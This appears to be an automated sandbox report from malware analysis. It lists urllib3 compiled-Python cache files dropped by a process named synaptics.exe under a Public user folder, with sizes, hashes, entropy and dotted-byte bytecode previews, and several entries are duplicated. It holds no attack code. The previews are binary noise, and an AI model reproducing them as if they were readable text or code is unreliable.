Preview:	o.......=..f.H.......................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...e.j.rWd.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e...e...Z.G.d.d...d.e.j ..Z!G.d.d...d...Z"e"d...e"_#d.S.)......)...annotationsN)...takewhile)...TracebackType.....)...ConnectTimeoutError..InvalidHeader..MaxRetryError..ProtocolError..ProxyError..ReadTimeoutError..ResponseError.....)...reraise)...Self)...ConnectionPool)...BaseHTTPResponsec....................@...s6...e.Z.d.Z.U.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.S.)...RequestHistory..str \| None..method..url..Exception \| None..error..int \| None..status..redirect_locationN)...__name__..__module__..__qualname__..__annotations__..r....r.....DC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\retry.pyr....!...s................r....c....................@...s"...e.Z.d.Z.U.d.Z.e.g.d.....Z.e.g.d.....Z.e.g.d.....Z.d.Z.d.e.d.<.d.d.d.d.d.d.e.d.d.e.d.d.d.d.e.d.f.dbd'd

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\pycache\retry.cpython-310.pyc.69272304

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	15746
Entropy (8bit):	5.362946859038454
Encrypted:	false
SSDEEP:	192:0f/Qj12FuuccXjtRLJIkyuhvCF4+W8THjSbG9JJb2s5297Y:09suPVJvCOWDsG97297Y
MD5:	2992303387474E39D65AC07FF91F0C3F
SHA1:	D33EB39E206EBA6ECD50AA829544907EE5D34704
SHA-256:	A1DA0AB0D791099B196DAEB816A7B2D738C476E8D46EE03A0F30A56B2875BBC1
SHA-512:	615215A3C502F35C39C909CF775AC6A6BD26015B49B23E6D0D52E826CC0E60B4768CB8EF703BD32E45C350337919CE00C2B1F25E4E1DEA899548BFD55345A4CF
Malicious:	false
Reputation:	low
Preview:	o.......=..f.H.......................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...e.j.rWd.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e...e...Z.G.d.d...d.e.j ..Z!G.d.d...d...Z"e"d...e"_#d.S.)......)...annotationsN)...takewhile)...TracebackType.....)...ConnectTimeoutError..InvalidHeader..MaxRetryError..ProtocolError..ProxyError..ReadTimeoutError..ResponseError.....)...reraise)...Self)...ConnectionPool)...BaseHTTPResponsec....................@...s6...e.Z.d.Z.U.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.S.)...RequestHistory..str \| None..method..url..Exception \| None..error..int \| None..status..redirect_locationN)...__name__..__module__..__qualname__..__annotations__..r....r.....DC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\retry.pyr....!...s................r....c....................@...s"...e.Z.d.Z.U.d.Z.e.g.d.....Z.e.g.d.....Z.e.g.d.....Z.d.Z.d.e.d.<.d.d.d.d.d.d.e.d.d.e.d.d.d.d.e.d.f.dbd'd

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\pycache\ssl_.cpython-310.pyc.59264320

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	12458
Entropy (8bit):	5.650762055607489
Encrypted:	false
SSDEEP:	384:pjDb/AE642qEOM00ueLG0d1JK9CZdFyKZA2MlJC9M7:BBpEfBbLPfyKZmbC+7
MD5:	F81440DDB369A5B5F6CCA2294FAAE447
SHA1:	1A90D65315AB6672854EDB3B8EE992F64AD0B91B
SHA-256:	5CD4D75F9A944720A33264EBBBCB02B0927B68D07449F9D520692613A1A0FB73
SHA-512:	521D91E50F78A6300467D2165CA99BBA2EBA393F8ABFED552BADE2AA9202D57B2986A24612FF95DBA2BFCA466E63CABD60A271125D8D19688C9E18726A73AD7D
Malicious:	false
Reputation:	low
Preview:	o.......=..f&K.......................@...s....U.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.Z.d.Z.d.Z.d.Z.d.g.Z.e.j.e.e.e.e.e.f...Z.d.d...d.D...Z.dcd.d...Z.ddd.d...Z.e.j.r~d.d.l.m.Z...d.d.l.m Z ..d.d.l!m.Z"..G.d.d ..d e d.d!..Z#i.Z$d"e%d#<.z_d.d.l.Z.d.d$l.m&Z&m.Z.m'Z'm(Z(m)Z)mZm+Z+m,Z,m-Z-m.Z.m.Z.m/Z/..e+Z0e.r.e.e)ee.j1j2e.j3e.j1j2d%k.r.e.j4n.d...s.d.Z.d&D.].Z5z.e6e/e5..e$e6e.d'e5......<.W.q...e7y.......Y.q.w.d.d.l!m.Z...W.n...e8y.......d(Z'd)Z(dZ-d+Z.d...Z0Z+d,Z,Y.n.w.e.j9d e:d.f...Z;ded1d2..Z<dfd6d7..Z=dgd8d9..Z>............dhdidCdD..Z?e.j@.E.E.E.E.E.E.E.E.E.E.E.EdjdkdUdV....ZAe.j@.E.E.E.E.E.E.E.E.E.E.E.EdjdldXdV....ZA........................dmdldYdV..ZAdnd\d]..ZBdod_d`..ZC..dpdqdadb..ZDd.S.)r.....)...annotationsN)...unhexlify.....)...ProxySchemeUnsupported..SSLError.....)..._BRACELESS_IPV6_ADDRZ_RE.._IPV4_REFz.http/1.1c....................C...s....i.\|.].\.}.}.\|.t.t.\|.d.....q.S...N)...getattr..hashlib)....0..le

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\pycache\ssl_.cpython-310.pyc.69272424

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	12458
Entropy (8bit):	5.650762055607489
Encrypted:	false
SSDEEP:	384:pjDb/AE642qEOM00ueLG0d1JK9CZdFyKZA2MlJC9M7:BBpEfBbLPfyKZmbC+7
MD5:	F81440DDB369A5B5F6CCA2294FAAE447
SHA1:	1A90D65315AB6672854EDB3B8EE992F64AD0B91B
SHA-256:	5CD4D75F9A944720A33264EBBBCB02B0927B68D07449F9D520692613A1A0FB73
SHA-512:	521D91E50F78A6300467D2165CA99BBA2EBA393F8ABFED552BADE2AA9202D57B2986A24612FF95DBA2BFCA466E63CABD60A271125D8D19688C9E18726A73AD7D
Malicious:	false
Reputation:	low
Preview:	o.......=..f&K.......................@...s....U.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.Z.d.Z.d.Z.d.Z.d.g.Z.e.j.e.e.e.e.e.f...Z.d.d...d.D...Z.dcd.d...Z.ddd.d...Z.e.j.r~d.d.l.m.Z...d.d.l.m Z ..d.d.l!m.Z"..G.d.d ..d e d.d!..Z#i.Z$d"e%d#<.z_d.d.l.Z.d.d$l.m&Z&m.Z.m'Z'm(Z(m)Z)mZm+Z+m,Z,m-Z-m.Z.m.Z.m/Z/..e+Z0e.r.e.e)ee.j1j2e.j3e.j1j2d%k.r.e.j4n.d...s.d.Z.d&D.].Z5z.e6e/e5..e$e6e.d'e5......<.W.q...e7y.......Y.q.w.d.d.l!m.Z...W.n...e8y.......d(Z'd)Z(dZ-d+Z.d...Z0Z+d,Z,Y.n.w.e.j9d e:d.f...Z;ded1d2..Z<dfd6d7..Z=dgd8d9..Z>............dhdidCdD..Z?e.j@.E.E.E.E.E.E.E.E.E.E.E.EdjdkdUdV....ZAe.j@.E.E.E.E.E.E.E.E.E.E.E.EdjdldXdV....ZA........................dmdldYdV..ZAdnd\d]..ZBdod_d`..ZC..dpdqdadb..ZDd.S.)r.....)...annotationsN)...unhexlify.....)...ProxySchemeUnsupported..SSLError.....)..._BRACELESS_IPV6_ADDRZ_RE.._IPV4_REFz.http/1.1c....................C...s....i.\|.].\.}.}.\|.t.t.\|.d.....q.S...N)...getattr..hashlib)....0..le

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\pycache\ssl_match_hostname.cpython-310.pyc.74495072

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3702
Entropy (8bit):	5.71592384052882
Encrypted:	false
SSDEEP:	96:hY/R/mUkAMdqu1vkAlH2TIYxfyRGH0MYUFgAL8IzE+wqq3:hXPA2MAV07xjHTgh2Etqq3
MD5:	9D6D184381D65DD413843F71E9B59F78
SHA1:	D02983E5BCA7BCA7877F26913C284DD6B09C2B07
SHA-256:	9B8070B2987FD29A77A68267A62FB61BB146AA260F30F07554CC8BB182BBDFC3
SHA-512:	04DE584F171B5FB89E35DF22AE5B8447CAAA194FEF2301AAAD679CB3701CF665E3B4FE1A22FF42B3FF3CAA033E6AEE86457B52CF03E10E09E503F8A21FB0F3CA
Malicious:	false
Reputation:	low
Preview:	o.......=..f.........................@...s....d.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...e.j.r%d.d.l.m.Z...d.Z.G.d.d...d.e...Z...d!d"d.d...Z.d#d.d...Z...d$d%d.d ..Z.d.S.)&zHThe match_hostname() function from Python 3.5, essential when using SSL......)...annotationsN)...IPv4Address..IPv6Address.....)..._TYPE_PEER_CERT_RET_DICTz.3.5.0.1c....................@...s....e.Z.d.Z.d.S.)...CertificateErrorN)...__name__..__module__..__qualname__..r....r.....QC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\ssl_match_hostname.pyr........s........r......dn..typing.Any..hostname..str..max_wildcards..int..return..typing.Match[str] \| None \| boolc....................C...s....g.}.\|.s.d.S.\|...d...}.\|.d...}.\|.d.d.....}.\|...d...}.\|.\|.k.r&t.d.t.\|.........\|.s2t.\|.....\|.....k...S.\|.d.k.r<\|...d.....n.\|...d...sF\|...d...rO\|...t...\|.......n.\|...t...\|.....d.d.......\|.D.].}.\|...t...\|.......q]t...d.d...\|.....d...t.j...}.\|...\|...S.).zhMatching according to RFC 6125, section 6.4.3.. http://to

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\pycache\ssltransport.cpython-310.pyc.56143264

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	9418
Entropy (8bit):	5.267188456300155
Encrypted:	false
SSDEEP:	192:P330cuKX0gSvpkv9nfgC+JCdABK1sdIDv5YaBbcMhu:P330lK/Svp4tdcYsyxBYWu
MD5:	381DF4BCE1B0EA324D4B060F569DEB4F
SHA1:	C96005F91469A17CC84A6D4325607AA8D39CE9F9
SHA-256:	7120F28C3B9BA776C1830196397B31F2009EC95993AADBB7893FC14A3BA23984
SHA-512:	F62FA01447C7AC8AC3070A498BDF0236100771A0D00F5A48735AF0FAD9CB56146C75A1B5696715C3CB71A54738C7FCEB9C82FB8B2AA3D5145169C2AC2BA0BD3E
Malicious:	false
Reputation:	low
Preview:	o.......=..f.".......................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...e.j.r-d.d.l.m.Z...d.d.l.m.Z.m.Z...e.j.e.e.f...Z.e...d...Z.d.Z.G.d.d...d...Z.d.S.)......)...annotationsN.....)...ProxySchemeUnsupported)...Self.....)..._TYPE_PEER_CERT_RET.._TYPE_PEER_CERT_RET_DICT.._ReturnValuei.@..c....................@...s....e.Z.d.Z.d.Z.e.dsd.d.....Z.....dtdud.d...Z.dvd.d...Z.dwd.d...Z.dxd.d...Z.dydzd!d"..Z.d{d\|d&d'..Z....#d}d~d,d-..Z.d.d.d0d1..Z.d.d.d2d3..Z...d.d.d.d.d4..d.d<d=..Z.d.d>d?..Z.d.d@dA..Z.e.j..Bd.d.dFdG....Z.e.j.d.dJdG....Z.d.d.dMdG..Z.d.dNdO..Z.d.dQdR..Z.d.dSdT..Z.d.dVdW..Z.d.dXdY..Z.d.d\d]..Z.d.d^d_..Z.d.d`da..Z.d.d.dcdd..Z.e.j.d.dgdh....Z.e.j.d.dkdh....Z.e.j.d.dndh....Z.....d.d.drdh..Z.d.S.)...SSLTransportaL.... The SSLTransport wraps an existing socket and establishes an SSL connection... Contrary to Python's implementation of SSLSocket, it allows you to chain. multiple TLS connections together. It's particularly useful if you need to. i

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\pycache\ssltransport.cpython-310.pyc.74064544

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	9418
Entropy (8bit):	5.267188456300155
Encrypted:	false
SSDEEP:	192:P330cuKX0gSvpkv9nfgC+JydABK1sdIDv5YaBbcMhu:P330lK/Svp4BdcYsyxBYWu
MD5:	2C8A8CEF65FA0984827B161337BD181A
SHA1:	1F05FC2E0C4D6CBE2E4D4A615CE8565D08696962
SHA-256:	2B9E6A9941BEC47C07F9E683D946841EDD7A32AA54630C6621BC6C9B882DADD9
SHA-512:	069F954248988BBD6AF3BE4815E57B1831A83EE281267B1111D68919D14866DFD0D9C3A56B6354D967B0B90ED7B0C72EBA96FFA2A05406A0B139F019F6624A7C
Malicious:	false
Reputation:	low
Preview:	o.......=..f.".......................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...e.j.r-d.d.l.m.Z...d.d.l.m.Z.m.Z...e.j.e.e.f...Z.e...d...Z.d.Z.G.d.d...d...Z.d.S.)......)...annotationsN.....)...ProxySchemeUnsupported)...Self.....)..._TYPE_PEER_CERT_RET.._TYPE_PEER_CERT_RET_DICT.._ReturnValuei.@..c....................@...s....e.Z.d.Z.d.Z.e.dsd.d.....Z.....dtdud.d...Z.dvd.d...Z.dwd.d...Z.dxd.d...Z.dydzd!d"..Z.d{d\|d&d'..Z....#d}d~d,d-..Z.d.d.d0d1..Z.d.d.d2d3..Z...d.d.d.d.d4..d.d<d=..Z.d.d>d?..Z.d.d@dA..Z.e.j..Bd.d.dFdG....Z.e.j.d.dJdG....Z.d.d.dMdG..Z.d.dNdO..Z.d.dQdR..Z.d.dSdT..Z.d.dVdW..Z.d.dXdY..Z.d.d\d]..Z.d.d^d_..Z.d.d`da..Z.d.d.dcdd..Z.e.j.d.dgdh....Z.e.j.d.dkdh....Z.e.j.d.dndh....Z.....d.d.drdh..Z.d.S.)...SSLTransportaL.... The SSLTransport wraps an existing socket and establishes an SSL connection... Contrary to Python's implementation of SSLSocket, it allows you to chain. multiple TLS connections together. It's particularly useful if you need to. i

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\pycache\timeout.cpython-310.pyc.59263840

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	9598
Entropy (8bit):	5.132660416158546
Encrypted:	false
SSDEEP:	96:H08vOMrflhdz+7V0MV8K7byybXiCDzQyFF/LCfAChn8l/qxzWOBGawWy8I81GZ5e:Hdrn+l/ucy80CBXPqGrpjMKfQHcsyJO
MD5:	0AE4CFBA3DB9B3E692E3248BA15A5323
SHA1:	B37EC4DAA319581E8F5D30B9B346438775585031
SHA-256:	251B2E1A71158B5F566C195FC2E1EC8D938D2790A363979D3F4456E406E61889
SHA-512:	4A925AA9FF6387B57EA65E0E7E672CFBE0FDBC9B734766DCF43D191E13418AE77753B772D72A6208089C36FF4240C5A803F2CEC9CC74F70DCCA28F6CC6AEA7CF
Malicious:	false
Reputation:	low
Preview:	o.......=..fj(.......................@...s....U.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.j.rd.d.l.m.Z...G.d.d...d.e...Z.e.j.Z.d.e.d.<.e.j.e.j.e.e.f.....Z.G.d.d...d...Z.d.S.)......)...annotationsN)...Enum)...getdefaulttimeout.....)...TimeoutStateError)...Finalc....................@...s....e.Z.d.Z.d.Z.d.S.)..._TYPE_DEFAULT.....N)...__name__..__module__..__qualname__..token..r....r.....FC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\timeout.pyr........s........r....z.Final[_TYPE_DEFAULT].._DEFAULT_TIMEOUTc....................@...s....e.Z.d.Z.U.d.Z.e.Z.d.e.d.<.d.e.e.f.d$d.d...Z.d%d.d...Z.e.Z.e.d&d.d.....Z.e.d'd.d.....Z.e.d(d.d.....Z.d)d.d...Z.dd.d...Z.d*d.d...Z.e.d+d d!....Z.e.d,d"d#....Z.d.S.)-..Timeouta....Timeout configuration... Timeouts can be defined as a default for a pool:.. .. code-block:: python.. import urllib3.. timeout = urllib3.util.Timeout(connect=2.0, read=7.0).. http = urllib3.PoolManager(timeout=timeout)..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\pycache\timeout.cpython-310.pyc.69271944

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	9598
Entropy (8bit):	5.132660416158546
Encrypted:	false
SSDEEP:	96:H08vOMrflhdz+7V0MV8K7byybXiCDzQyFF/LCfAChn8l/qxzWOBGawWy8I81GZ5e:Hdrn+l/ucy80CBXPqGrpjMKfQHcsyJO
MD5:	0AE4CFBA3DB9B3E692E3248BA15A5323
SHA1:	B37EC4DAA319581E8F5D30B9B346438775585031
SHA-256:	251B2E1A71158B5F566C195FC2E1EC8D938D2790A363979D3F4456E406E61889
SHA-512:	4A925AA9FF6387B57EA65E0E7E672CFBE0FDBC9B734766DCF43D191E13418AE77753B772D72A6208089C36FF4240C5A803F2CEC9CC74F70DCCA28F6CC6AEA7CF
Malicious:	false
Reputation:	low
Preview:	o.......=..fj(.......................@...s....U.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.j.rd.d.l.m.Z...G.d.d...d.e...Z.e.j.Z.d.e.d.<.e.j.e.j.e.e.f.....Z.G.d.d...d...Z.d.S.)......)...annotationsN)...Enum)...getdefaulttimeout.....)...TimeoutStateError)...Finalc....................@...s....e.Z.d.Z.d.Z.d.S.)..._TYPE_DEFAULT.....N)...__name__..__module__..__qualname__..token..r....r.....FC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\timeout.pyr........s........r....z.Final[_TYPE_DEFAULT].._DEFAULT_TIMEOUTc....................@...s....e.Z.d.Z.U.d.Z.e.Z.d.e.d.<.d.e.e.f.d$d.d...Z.d%d.d...Z.e.Z.e.d&d.d.....Z.e.d'd.d.....Z.e.d(d.d.....Z.d)d.d...Z.dd.d...Z.d*d.d...Z.e.d+d d!....Z.e.d,d"d#....Z.d.S.)-..Timeouta....Timeout configuration... Timeouts can be defined as a default for a pool:.. .. code-block:: python.. import urllib3.. timeout = urllib3.util.Timeout(connect=2.0, read=7.0).. http = urllib3.PoolManager(timeout=timeout)..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\pycache\url.cpython-310.pyc.59264560

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	11236
Entropy (8bit):	5.783864614134648
Encrypted:	false
SSDEEP:	192:JVOJJgt54ZqlH/qh/QFYP0YU5HqDtR4qzFYqW1D5hOBdmpInwqH5qVcPoO8RqUvi:JVeJgt54ZqVqhoJxHqDtR4qxYqW1D5k3
MD5:	6823E15C6C2104B4317C44BA912CA4AE
SHA1:	2CDC4612EEB65FF54C938A0516041128C48E0F07
SHA-256:	6B2478317624B203689A6BA99F91BB4FB187BB5ECF6FA65150EE0FF8E8E47C2E
SHA-512:	D950694ADFF1231D3EF318B03480AA1A79619103FD7C5E642771B9084B922558549C4EBCD81E0EF6348BEF6DB803048D7CEB033B3ED538E9B8F177B694E69009
Malicious:	false
Reputation:	low
Preview:	o.......=..fm;.......................@...s~...d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.Z.e...d...Z.e...d...Z.e...d.e.j.e.j.B...Z.d.Z.d.Z.d.j.e.e.d...Z.e.e.d...Z.g.d...Z.d.Z.d.d...d.d...e.D.......d...Z.d.e...d...Z.d.e...d...e...d...Z.d.Z.e...d...Z.e...d.e...d.....Z.e...d.e...d.....Z.e...d.e...d.....Z.e...d.e.d.d.......d.....Z.e...d e...d!....Z d"e.e.e.f...Z!e...e!e.j.e.j.B...Z"e#d#..Z$e#d$..Z%e$e%B.d%h.B.Z&e&d&d'h.B.Z'e'd(h.B...Z(Z)G.d)d..de..dd+e.j+e,..f.d,e.j+e,..f.d-e.j+e,..f.d.e.j+e-..f.d/e.j+e,..f.d0e.j+e,..f.d1e.j+e,..f.g.....Z.e.j/dMd7d8....Z0e.j/dNd:d8....Z0dOd<d8..Z0dPd=d>..Z1e.j/dQd?d@....Z2e.j/dRdAd@....Z2dSdBd@..Z2dTdEdF..Z3dUdHdI..Z4dVdKdL..Z5d.S.)W.....)...annotationsN.....)...LocationParseError.....)...to_str)...http..httpsNz.%[a-fA-F0-9]{2}z.^(?:[a-zA-Z][a-zA-Z0-9+-]:\|/)zS^(?:([a-zA-Z][a-zA-Z0-9+.-]):)?(?://([^\\/?#]))?([^?#])(?:\?([^#]))?(?:#(.))?$z.(?:[0-9]{1,3}\.){3}[0-9]{1,3}z.[0-9A-Fa-f]{1,4}z.(?:{hex}:{hex}\|{ipv4}))...hexZ.ipv4).r....Z.ls32).

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\pycache\url.cpython-310.pyc.69272664

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	11236
Entropy (8bit):	5.783864614134648
Encrypted:	false
SSDEEP:	192:JVOJJgt54ZqlH/qh/QFYP0YU5HqDtR4qzFYqW1D5hOBdmpInwqH5qVcPoO8RqUvi:JVeJgt54ZqVqhoJxHqDtR4qxYqW1D5k3
MD5:	6823E15C6C2104B4317C44BA912CA4AE
SHA1:	2CDC4612EEB65FF54C938A0516041128C48E0F07
SHA-256:	6B2478317624B203689A6BA99F91BB4FB187BB5ECF6FA65150EE0FF8E8E47C2E
SHA-512:	D950694ADFF1231D3EF318B03480AA1A79619103FD7C5E642771B9084B922558549C4EBCD81E0EF6348BEF6DB803048D7CEB033B3ED538E9B8F177B694E69009
Malicious:	false
Reputation:	low
Preview:	o.......=..fm;.......................@...s~...d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.Z.e...d...Z.e...d...Z.e...d.e.j.e.j.B...Z.d.Z.d.Z.d.j.e.e.d...Z.e.e.d...Z.g.d...Z.d.Z.d.d...d.d...e.D.......d...Z.d.e...d...Z.d.e...d...e...d...Z.d.Z.e...d...Z.e...d.e...d.....Z.e...d.e...d.....Z.e...d.e...d.....Z.e...d.e.d.d.......d.....Z.e...d e...d!....Z d"e.e.e.f...Z!e...e!e.j.e.j.B...Z"e#d#..Z$e#d$..Z%e$e%B.d%h.B.Z&e&d&d'h.B.Z'e'd(h.B...Z(Z)G.d)d..de..dd+e.j+e,..f.d,e.j+e,..f.d-e.j+e,..f.d.e.j+e-..f.d/e.j+e,..f.d0e.j+e,..f.d1e.j+e,..f.g.....Z.e.j/dMd7d8....Z0e.j/dNd:d8....Z0dOd<d8..Z0dPd=d>..Z1e.j/dQd?d@....Z2e.j/dRdAd@....Z2dSdBd@..Z2dTdEdF..Z3dUdHdI..Z4dVdKdL..Z5d.S.)W.....)...annotationsN.....)...LocationParseError.....)...to_str)...http..httpsNz.%[a-fA-F0-9]{2}z.^(?:[a-zA-Z][a-zA-Z0-9+-]:\|/)zS^(?:([a-zA-Z][a-zA-Z0-9+.-]):)?(?://([^\\/?#]))?([^?#])(?:\?([^#]))?(?:#(.))?$z.(?:[0-9]{1,3}\.){3}[0-9]{1,3}z.[0-9A-Fa-f]{1,4}z.(?:{hex}:{hex}\|{ipv4}))...hexZ.ipv4).r....Z.ls32).

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\pycache\util.cpython-310.pyc.59263960

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1207
Entropy (8bit):	5.053169822129588
Encrypted:	false
SSDEEP:	24:Su2LkVMQdXRjkhlcRMHyz4tMXSwgpsqnud9Qzm+6IErGXTSu:S0MQdBYhlchWp1KQ9+GXmu
MD5:	9365154AD6F626F4381CFC598D9EFBDB
SHA1:	D5AA8F2CF7B527905900E926F3B2C1F8B3F8EA9B
SHA-256:	17C26430C03F09005F9B412FCA37714D9CFA8B705B6E1333C5FD5A6AFBD843DA
SHA-512:	192454D83C886EA33E2C43D81D49C7B5F6FF537C4E395C6747748897D0D0AB98FEF4FA8343058FABB0137047814FF27FAAB96F7EBA3372600B0C55EB5922B3FF
Malicious:	false
Reputation:	low
Preview:	o.......=..fz........................@...sN...d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z.....d.d.d.d...Z...d.d.d.d...Z...d.d.d.d...Z.d.S.)......)...annotationsN)...TracebackType..x..str \| bytes..encoding..str \| None..errors..return..bytesc....................C....R...t.\|.t...r.\|.S.t.\|.t...s.t.d.t.\|...j.........\|.s.\|.r%\|.j.\|.p.d.\|.p"d.d...S.\|.....S...Nz.not expecting type z.utf-8..strict).r....)...isinstancer......str..TypeError..type..__name__..encode..r....r....r......r.....CC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\util.py..to_bytes.......................r....r....c....................C...r....r....).r....r....r....r....r....r......decoder....r....r....r......to_str....r....r......tp..type[BaseException] \| None..value..BaseException..tb..TracebackType \| None..typing.NoReturnc....................C...s$...z.\|.j.\|.u.r.\|...\|.....\|...d.}.d.}.w...N)...__traceback__..with_traceback).r....r....r....r....r....r......reraise....s................r%...).NN).r....r....r....r....r....r....r..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\pycache\util.cpython-310.pyc.69272064

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1207
Entropy (8bit):	5.053169822129588
Encrypted:	false
SSDEEP:	24:Su2LkVMQdXRjkhlcRMHyz4tMXSwgpsqnud9Qzm+6IErGXTSu:S0MQdBYhlchWp1KQ9+GXmu
MD5:	9365154AD6F626F4381CFC598D9EFBDB
SHA1:	D5AA8F2CF7B527905900E926F3B2C1F8B3F8EA9B
SHA-256:	17C26430C03F09005F9B412FCA37714D9CFA8B705B6E1333C5FD5A6AFBD843DA
SHA-512:	192454D83C886EA33E2C43D81D49C7B5F6FF537C4E395C6747748897D0D0AB98FEF4FA8343058FABB0137047814FF27FAAB96F7EBA3372600B0C55EB5922B3FF
Malicious:	false
Reputation:	low
Preview:	o.......=..fz........................@...sN...d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z.....d.d.d.d...Z...d.d.d.d...Z...d.d.d.d...Z.d.S.)......)...annotationsN)...TracebackType..x..str \| bytes..encoding..str \| None..errors..return..bytesc....................C....R...t.\|.t...r.\|.S.t.\|.t...s.t.d.t.\|...j.........\|.s.\|.r%\|.j.\|.p.d.\|.p"d.d...S.\|.....S...Nz.not expecting type z.utf-8..strict).r....)...isinstancer......str..TypeError..type..__name__..encode..r....r....r......r.....CC:\Users\Public\QExvbmVOb25l\lib\site-packages\urllib3\util\util.py..to_bytes.......................r....r....c....................C...r....r....).r....r....r....r....r....r......decoder....r....r....r......to_str....r....r......tp..type[BaseException] \| None..value..BaseException..tb..TracebackType \| None..typing.NoReturnc....................C...s$...z.\|.j.\|.u.r.\|...\|.....\|...d.}.d.}.w...N)...__traceback__..with_traceback).r....r....r....r....r....r......reraise....s................r%...).NN).r....r....r....r....r....r....r..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\urllib3\util\pycache\wait.cpython-310.pyc.59264800

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2386
Entropy (8bit):	5.152838774685659
Encrypted:	false
SSDEEP:	48:3y6A4HN1SSpUlQYvX7ws85K4CE8uG9G0N3Ae8wWv9O3ArDiPh:3y6A4HT1pMvX7h0mh9GcAFwWlIArDiPh
MD5:	CCC0DA8D59E9CD01540D64AA55F301D2
SHA1:	A511DB83382D48750970B07BFDB1362CD7ED9EF1
SHA-256:	4E103663D9FF581E17A89FEC67A9F8A4661C05E04BA131329E0B19EE48F1E8F1
SHA-512:	47CB7CA3BA3D11E5632FDA972BBCBA39794E7B278569A6FB66207BFBFB5A4064ED0B2ACD74D4DFFC626CA1BD1949CCCFBA46D6045566A571B1B4BD5E1150FD82
Malicious:	false
Reputation:	low
